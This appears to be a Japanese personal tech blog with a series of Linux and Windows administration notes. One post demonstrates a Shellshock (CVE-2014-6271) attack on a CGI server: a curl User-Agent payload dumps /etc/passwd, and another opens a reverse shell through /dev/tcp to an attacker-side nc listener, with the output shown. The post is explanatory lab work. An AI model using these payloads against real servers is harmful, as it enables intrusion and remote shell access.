WindowsクライアントPCへドメインユーザでリモートデスクトップ接続したい

Windows Server 2008R2 サーバ群と Windows 7 クライアント群で構成されている Windows ドメインネットワークで、サーバへではなくクライアントPCへリモートデスクトップ接続をしたい場合のメモ。

リモートデスクトップの設定を有効にしても、Administrator 以外のドメインユーザでログオンしようとすると「このユーザー アカウントはリモート ログインを許可されていないため、接続は拒否されました。」と表示されてしまってログオンできない。

この場合は、クライアントOS側の「リモートデスクトップ接続を許可するユーザ」に、そのドメインユーザを追加してやらねばならない。

「システムのプロパティ」→「リモート」タブを開き、右下の「ユーザーの選択」をクリックする。

1

「追加」ボタンでユーザーまたはグループを選択するが、ここでは「Builtin」OUに所属するグループは選択できない。よって、サーバーへログオンできる「Remote Desktop Users」グループをここに追加することはできない。今回は「Domain Users」グループを利用して、ドメインユーザ全てがログオンできるようにした。

2

こういう設定は Windows に詳しい人なら常識なのだろうが、不勉強なためにハマってしまった。これ、グループポリシーで全体に設定できないのだろうか…?

bash脆弱性(shellshock)を利用した攻撃の例

bashの脆弱性 (shellshock, CVE-2014-6271等)をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。

条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。

※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。

1. サーバ側でcat /etc/passwdを実行させる例

curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。

attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。

2. 攻撃者側へサーバのbashインタラクティブシェルを開く例

bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。

参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信

以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。

attacker-pc-tty1$ nc -l -p 3333

このtty1端末はそのまま待ち受け状態となる。

ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。

attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

すると、さきほどのtty1にサーバのシェルプロンプトが現れる。

attacker-pc-tty1$ nc -l -p 3333
bash: no job control in this shell
bash-4.1$ 

サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。

apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。

※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。

実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4

参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)

HP mini 5101 に CentOS 6 をインストール

Windows XP プリインストールの旧型ネットブック HP mini 5101 に CentOS 6 をインストールしてみたのでメモしておく。

1. インストール:

DVD-Rなどを焼くのが面倒なので、UNetbootinでUSBメモリインストーラを作成する。ベースのISOファイルはCentOS-6.5-i386-minimal.isoである。

このノートPCのCPUはAtom N280なので32bitのみ。よってi386版をダウンロードするように気をつける。

$ wget http://ftp.iij.ad.jp/pub/linux/centos/6.5/isos/i386/CentOS-6.5-i386-minimal.iso

UNetbootin を起動して ISO イメージから USB メモリを作成するが、どうもバグがあるようでインストールが途中で止まってしまう。出来上がった USB メモリの repodata ディレクトリの中身を削除し、CentOS-6.5-i386-minimal.iso の repodata ディレクトリの中身をコピーすることで修正できる。

参考URL:
SBメモリでLinuxをインストールする 2

2. インストール後の設定

minimal インストール後は色々パッケージが足りないので、yum groupinstall でごっそり追加する。最初はNICがオフになっているので、まず有効化すること(後述)。X 環境が必要なら、”Desktop” “Desktop Platform” “Input Methods” “X Window System” “Fonts”あたりをインストールする。

$ sudo yum groupinstall "Desktop" "Desktop Platform" "Input Methods" "X Window System" "Fonts"

ノースブリッジ内蔵 Intel GMA 950 については X.org 標準のドライバで対応しているので、上記のように “X Window System” をインストールするだけで動作する。

NICについては、有線LANが Marvell 88E8072 であり、これは minimal インストール直後から利用できる (最初の設定は ONBOOT=no になっているので、ifup eth0 で使えるようになる)。

無線LANについては Intel PRO/Wireless 5100 AGN というのが乗っているが、これは minimal インストールではファイルが足りないため動作しない。iwl5000-firmware パッケージが必要である。

$ sudo yum install iwl5000-firmware

これで再起動すれば無線LANが使えるようになる。

AirPrint非対応のプリンタをUbuntuサーバ経由でAirPrint対応に

avahi-daemon (Apple Bonjour互換) を使ってプリンタ名を広告してやることによって、AirPrint非対応の旧世代プリンタをAirPrint対応にできるらしいので、実験してみた。

そのためには、Linux プリンタサーバ上に、iOS デバイスへプリンタ情報を教えるための avahi 設定が必要になる。

前の記事の内容で、既にUbuntu環境でプリンタの設定はできているものとする。

1. インストール

必要なパッケージをUbuntuデスクトップにインストールする。

desktop$ sudo apt-get install avahi-discover

2. 情報の取得

端末から、avahi-discover コマンドを実行する。標準出力にダンプされる情報を利用するので、ログファイルを取っておく。

desktop$ avahi-discover > log

表示された GUI ウインドウ上で、「Internet Printer」→「EPSON EP-802A @ myserver1」を選択する。その後、×ボタンで GUI を閉じる。

logファイルの内容を確認すると、末尾近くに以下のような行がある。

Host myserver1.local (192.168.100.240), port 631, TXT data: ['printer-type=0xB01E', 'printer-state=3', 'Duplex=T', 'Color=T', 'TLS=1.2', 'UUID=3ae710a1-2d56-928f-4a19-394a152d3eca', 'URF=DM3', 'pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf', 'product=(Epson EP-902A Series)', 'priority=0', 'note=Home', 'adminurl=https://myserver1.local:631/printers/EPSON-EP-802A', 'ty=Epson EP-802A Series - epson-inkjet-printer 1.0.0-1lsb3.2 (Seiko Epson Corporation LSB 3.2)', 'rp=printers/EPSON-EP-802A', 'qtotal=1', 'txtvers=1']

3. 情報ファイルの作成

上記の情報をもとに、avahi のサービス情報ファイルを作成する。

myserver1$ sudo vi /etc/avahi/services/AirPrint-EPSON-EP-802A.service
<?xml version="1.0" standalone='no'?>
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
<name replace-wildcards="yes">AirPrint EPSON-EP-802A @ %h</name>
<service>
 <type>_ipp._tcp</type>
 <subtype>_universal._sub._ipp._tcp</subtype>
 <port>631</port>
 <txt-record>txtvers=1</txt-record>
 <txt-record>qtotal=1</txt-record>
 <txt-record>rp=printers/EPSON-EP-802A</txt-record>
 <txt-record>ty=Epson EP-802A Series - epson-inkjet-printer 1.0.0-1lsb3.2 (Seiko Epson Corporation LSB 3.2)</txt-record>
 <txt-record>adminurl=https://myserver1.local:631/printers/EPSON-EP-802A</txt-record>
 <txt-record>note=Home</txt-record>
 <txt-record>priority=0</txt-record>
 <txt-record>product=(Epson EP-902A Series)</txt-record>
 <txt-record>pdl=application/octet-stream,application/pdf,application/postscript,image/jpeg,image/png,image/urf</txt-record>
 <txt-record>UUID=3ae710a1-2d56-928f-4a19-394a152d3eca</txt-record>
 <txt-record>TLS=1.2</txt-record>
 <txt-record>Color=T</txt-record>
 <txt-record>Duplex=T</txt-record>
 <txt-record>printer-state=3</txt-record>
 <txt-record>printer-type=0xB01E</txt-record>
 <txt-record>URF=none</txt-record>
</service>
</service-group>

ファイルができたら、サービスを再起動する。

myserver1$ sudo service avahi-daemon restart
myserver1$ sudo service cups restart

設定が終わったら、iOS デバイスのアプリケーション (例えばSafari) からテスト印刷する。「メニューボタン」→「プリント」を選択して、「プリンタ」に「EP-802A」が表示されたら選択して印刷してみる。自分の環境では、きちんと印刷できた。

参考URL: 今日はLinuxのCUPSプリントサーバをAirPrintサーバにして、iPhoneからAirPrintで印刷するとPDFファイルが生成されるようにしてみた

UbuntuでEPSONプリンタを使う

自分の場合は通常使わないのだが、念のためUbuntuサーバからも印刷ができるようにしてみた。
環境:
プリンタサーバ: Ubuntu 14.04 server (64bit) ホスト名 myserver1
操作用デスクトップ: Ubuntu 14.04 desktop (64bit) ホスト名 desktop
プリンタ: EPSON EP-802A
プリンタサーバ-プリンタ間接続形式: ネットワーク経由

1. プリンタドライバのダウンロード

EPSON Download Center でプリンタ型番をキーワードに検索し、ダウンロードする。
自分の環境の場合は、以下の4つをダウンロードした。
iscan-data_1.29.0-2_all.deb
iscan_2.29.3-1~usb0.1.ltdl7_amd64.deb
epson-inkjet-printer-ep-902a-series_1.0.0-1lsb3.2_amd64.deb
epson-inkjet-printer-escpr_1.4.1-1lsb3.2_amd64.deb

2. プリンタドライバのインストール

必要なパッケージをインストールする。

myserver1$ sudo apt-get install lsb xsltproc

さらに、ダウンロードしたファイルをインストールする。

myserver1$ sudo dpkg -i iscan-data_1.29.0-2_all.deb \
iscan_2.29.3-1~usb0.1.ltdl7_amd64.deb \
epson-inkjet-printer-ep-902a-series_1.0.0-1lsb3.2_amd64.deb \
epson-inkjet-printer-escpr_1.4.1-1lsb3.2_amd64.deb

3. CUPSの設定

今回の設定対象は X 環境の無いUbuntuサーバなので、他のマシン(Ubuntuデスクトップ)からリモートで設定したい。そのため、CUPSの設定を変更して同一ネットワークのマシンからはリモート管理ができるようにする。

myserver1$ sudo vi /etc/cups/cupsd.conf

以下、cupsd.confの編集内容をdiff -u形式で表示する。

@@ -13,11 +13,12 @@
 MaxLogSize 0

 # Only listen for connections from the local machine.
-Listen localhost:631
+#Listen localhost:631
 Listen /var/run/cups/cups.sock
+Port 631

 # Show shared printers on the local network.
-Browsing Off
+Browsing On
 BrowseLocalProtocols dnssd

 # Default authentication type, when authentication is required...
@@ -29,11 +30,13 @@
 # Restrict access to the server...
 <Location />
   Order allow,deny
+  Allow @LOCAL
 </Location>

 # Restrict access to the admin pages...
 <Location /admin>
   Order allow,deny
+  Allow @LOCAL
 </Location>

 # Restrict access to configuration files...
@@ -41,6 +44,7 @@
   AuthType Default
   Require user @SYSTEM
   Order allow,deny
+  Allow @LOCAL
 </Location>

 # Set the default printer/job policies...

サービスを再起動する。

myserver1$ sudo service cups restart

4. Ubuntu デスクトップからの設定

次にUbuntuデスクトップ側で、system-config-printerを使って先のサーバにリモート接続して設定を実施する。system-config-printerがインストールされていなければ、インストールしておく。

desktop$ sudo apt-get install system-config-printer-gnome

手元のUbuntu 14.04 Desktopでは、システム設定 (unity-control-center) にプリンタの設定アイコンが無かったので、端末から直接実行して GUI を起動した。

desktop$ system-config-printer

「サーバー」メニューから「接続」を選択して、「CUPSサーバー」欄にUbuntuサーバのIPアドレスを入力して接続する。

あとは「追加」ボタンを押して「ネットワークプリンター」の中から「Epson EP-802A (aa.bb.cc.dd)」、接続は「DNS-SD 経由の LPD ネットワークプリンター」を選択する。ドライバは自動検索され、高機能版が自動的に選ばれる。

設定が終わったら、テスト印刷を実行して確認する。

参考URL: Ubuntu Weekly Recipe 第286回 UbuntuからEPSON複合機EP-805Aを使用する

さくらのVPS上のUbuntuでIPv6

IPv6有効化手順(CentOS7) | さくらのVPS | さくらインターネット公式サポートサイト

CentOS をそのまま使っているなら上記の通りなんだけど、Ubuntu に入れ換えている場合のメモ。

1. VPS ホームにログインして、自分のVPSに割り当てられた IPv6 グローバルアドレスを調べる。

2. Ubuntu にログインして /etc/network/interfaces を編集。

iface eth0 inet6 static
	address 2001:db8:ffff:ffff:203:0:113:15
	netmask 64
	gateway fe80::1

3. ifdown; ifup で行けると思うけど、念のため再起動。

~/.ssh/known_hosts の記述

どうでもいい小ネタ。

仮想サーバをコピーして増やした場合、コピーサーバ群で同一の ssh ホスト鍵を使うことになる。それらに ssh ログインを繰り返すと、ssh クライアントの known_hosts ファイルには同一のホスト公開鍵が大量に残ることになる。
まあ気にしなければ良いのだが、ワイルドカードが書けるので集約することもできる。

~/.ssh/known_hosts:

server1.example.com ssh-rsa ホスト公開鍵文字列
server2.example.com ssh-rsa ホスト公開鍵文字列
server3.example.com ssh-rsa ホスト公開鍵文字列
192.168.100.1 ssh-rsa ホスト公開鍵文字列
192.168.100.2 ssh-rsa ホスト公開鍵文字列
192.168.100.3 ssh-rsa ホスト公開鍵文字列
...

上記を、以下のようにまとめられる。

*.example.com ssh-rsa ホスト公開鍵文字列
192.168.100.* ssh-rsa ホスト公開鍵文字列

これをやっておくと、サーバをさらにコピーして増やした時に改めて
Are you sure you want to continue connecting (yes/no)?
みたいなことを聞かれなくて済む。

外部からVPSへのL2TP/IPsecとVPS-自宅間IPsecの組み合わせ

前回記事のリモートアクセスVPN (L2TP/IPsec) と、さらにその前の記事で構築済みのVPS-自宅間VPN (IPsec) を組み合わせて利用する。

これにより、動的IPアドレスの自宅へ、外部からいつでもログイン可能となる。

前提:
・サーバはすべて Ubuntu 14.04 LTS である。
・IPsec実装は strongswan を利用し、サーバ間はRSA証明書認証を行う。
・外部端末-VPS間はL2TP/IPsecとし、認証はIPsec事前共有鍵+L2TPのMSCHAPv2とする。

ネットワーク構成は以下の通り。
06

すでに記事としては前回前々回で記述している。
今回のポイントは、VPS への L2TP アクセスで割り振られる PPP IPアドレスを、VPS-自宅間IPsecのトンネルに入るよう設定することである。

1. myvps1 と myserver1 の /etc/sysctl.conf

$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す
# 以下、追記する
net.ipv4.conf.default.send_redirects=0
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.eth0.accept_redirects=0
net.ipv4.conf.eth0.send_redirects=0
net.ipv4.conf.lo.accept_redirects=0
net.ipv4.conf.lo.send_redirects=0
net.ipv6.conf.eth0.accept_redirects=0
net.ipv6.conf.lo.accept_redirects=0
vpn1:~$ sudo sysctl -p /etc/sysctl.conf

2. myserver1上にCAを作成し、myserver1用とmyvps1用の証明書・秘密鍵の組を作成する

前々回記事を参照。

myserver1 には
/etc/ipsec.d/cacerts/ca1.crt (CA証明書)
/etc/ipsec.d/certs/myserver1.crt (サーバ証明書)
/etc/ipsec.d/private/myserver1.key (サーバ秘密鍵)

myvps1 には
/etc/ipsec.d/cacerts/ca1.crt (CA証明書)
/etc/ipsec.d/certs/myvps1.crt (サーバ証明書)
/etc/ipsec.d/private/myvps1.key (サーバ秘密鍵)

以上のファイルを配置する。

3. strongswan の設定 (myserver1側)

/etc/ipsec.conf:

config setup セクションの後に以下の内容を追加する。rightsubnet に L2TP クライアントの IP アドレス領域を追加しておく。

conn myhome-to-vps
	authby=rsasig
	auto=start
	closeaction=restart
	dpdaction=restart
	left=192.168.100.240
	leftsubnet=192.168.100.0/24
	leftcert=myserver1.crt
	right=203.0.113.180
	rightsubnet=203.0.113.180/32,172.16.1.0/24 # ←L2TPのクライアントアドレスを追加
	rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.vpsnet.example.jp"

※strongswan だと leftsubnet / rightsubnet に複数のサブネットが記述できるが、openswan で複数サブネットの場合は leftsubnets / rightsubnets と書く必要がある。

/etc/ipsec.secrets:

: RSA myserver1.key

4. strongswan の設定 (myvps1側)

/etc/ipsec.conf:

config setup セクションの後に、以下の2つの記述を追加する。
myhome-to-vps の方の leftsubnet には、L2TP クライアントアドレス領域を追加しておく。

conn myhome-to-vps
	authby=rsasig
	auto=add
	closeaction=clear
	dpdaction=clear
	left=203.0.113.180
	leftsubnet=203.0.113.180/32,172.16.1.0/24 # ←L2TPのクライアントアドレスを追加
	leftcert=myvps1.crt
	right=%any
	rightsubnet=192.168.100.0/24
	rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.domain.local"

conn L2TP-PSK
        authby=secret
        auto=add
        closeaction=clear
        dpdaction=clear
        type=transport
        rekey=no
        left=203.0.113.180
        leftprotoport=17/1701
        right=%any
        rightprotoport=17/%any

/etc/ipsec.secrets:
自宅IPsec用のRSA秘密鍵と、L2TP/IPsec用の事前共有鍵文字列を両方記述する。

: RSA myvps1.key
: PSK "mypresharedkey"

5. xl2tpd の設定 (myvps1側)

/etc/xl2tpd/xl2tpd.conf:

[global]
port = 1701

[lns default]
ip range = 172.16.1.11-172.16.1.30
local ip = 172.16.1.254
length bit = yes
require chap = yes
refuse pap = yes
require authentication = yes
name = myvps1.vpsnet.example.jp
ppp debug = no
pppoptfile = /etc/ppp/xl2tpd-options

/etc/ppp/xl2tpd-options:

ipcp-accept-local
ipcp-accept-remote
ms-dns 172.16.1.254  (myvps1にキャッシュDNSサーバが立っている前提)
noccp
auth
crtscts
idle 1800
mtu 1300
mru 1300
nodefaultroute
lock
connect-delay 5000
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2

/etc/ppp/chap-secrets:

username	*	"l2tppassworddesu"	*

一般ユーザで読めない権限にしておくこと。

6. サービス起動と確認

myserver1:~$ sudo service strongswan restart
myvps1:~$ sudo service strongswan restart
myvps1:~$ sudo service xl2tpd restart

milter-greylist で GeoIP を使えるようにする

※以下は古い記事です。Ubuntu 16.04 以降では libGeoIP がリンクされているため、必要ありません。

Ubuntu 14.04 標準パッケージの milter-greylist は libGeoIP をリンクするようにコンパイルされていないので、GeoIP (IPアドレスベースの国別判定) をポリシーに利用することが出来ない。そこで Ubuntu ソースパッケージを微修正してリビルドすることで GeoIP を使えるようにする。また、ついでにPostfixへの対応を入れておく。

必要なパッケージのインストール

myserver1:~$ sudo apt-get install build-essential quilt debhelper autotools-dev bison flex
myserver1:~$ sudo apt-get install libgeoip-dev libspf2-dev libmilter-dev

ソースパッケージのダウンロード

myserver1:~$ apt-get source milter-greylist

パッケージ情報ファイルの編集

GeoIP をリンクするように、パッケージ情報ファイルを編集する。

rules ファイルを編集し、configure オプションの中に –with-libGeoIP \ を追加する。configure 実行時に libGeoIP を探してくれるようになる。

myserver1:~$ cd milter-greylist-4.3.9
myserver1:milter-greylist-4.3.9$ vi debian/rules
override_dh_auto_configure:
    dh_auto_configure -- \
    --with-user=greylist \
    --sysconfdir=/etc/milter-greylist \
    --with-conffile=/etc/milter-greylist/greylist.conf \
    --with-dumpfile=/var/lib/milter-greylist/greylist.db \
    --with-libspf2=/usr \
    --with-libmilter=/usr \
    --with-libGeoIP \  ←ここを追加
    --enable-postfix \  ←ここを追加
    --enable-dnsrbl \
    --disable-rpath \
    LDFLAGS=" -Wl,-z,defs -L/usr/lib/libmilter " \
    CFLAGS=" -fno-strict-aliasing "

また、controlファイルを編集して、Build-Depends 行に libgeoip-dev を追加する。

myserver1:milter-greylist-4.3.9$ vi debian/control
Build-Depends: quilt, debhelper (>= 8), autotools-dev, libmilter-dev, bison, flex, libspf2-dev, libgeoip-dev

パッケージバージョン番号を変更するために、changelogも編集する。内容は適当。

myserver1:milter-greylist-4.3.9$ vi debian/changelog
milter-greylist (4.3.9-101) unstable; urgency=low

  * Build with --with-libGeoIP
  * Build with --enable-postfix

 -- My Name <myname@example.com>  Mon, 30 Jun 2014 10:00:00 +0900

バージョン番号を元のパッケージより大きくしておかないと、apt-get upgrade した時に公式パッケージで置き換えられてしまう。ここでは 4.3.9-1 から 4.3.9-101 にしておいた。

ビルド

編集が終わったら、実際にビルドする。

myserver1:milter-greylist-4.3.9$ dpkg-buildpackage -us -uc

インストール

.deb パッケージが出来上がったら、公式パッケージをアンインストールして入れ換える。

myserver1:milter-greylist-4.3.9$ sudo apt-get purge milter-greylist
myserver1:milter-greylist-4.3.9$ sudo dpkg -i ../milter-greylist_4.3.9-101_amd64.deb

設定

milter-greylist を入れ換えたら、/etc/milter-greylist/greylist.conf に geoip の記述が使えるようになる。例えば自宅のサーバでは、CN からメールを受け取る予定が無いのでこれをブラックリストに入れてみる。

myserver1:~$ sudo vi /etc/milter-greylist/greylist.conf

greylist.conf の中身:

geoipdb "/usr/share/GeoIP/GeoIP.dat"
...
racl blacklist geoip "CN"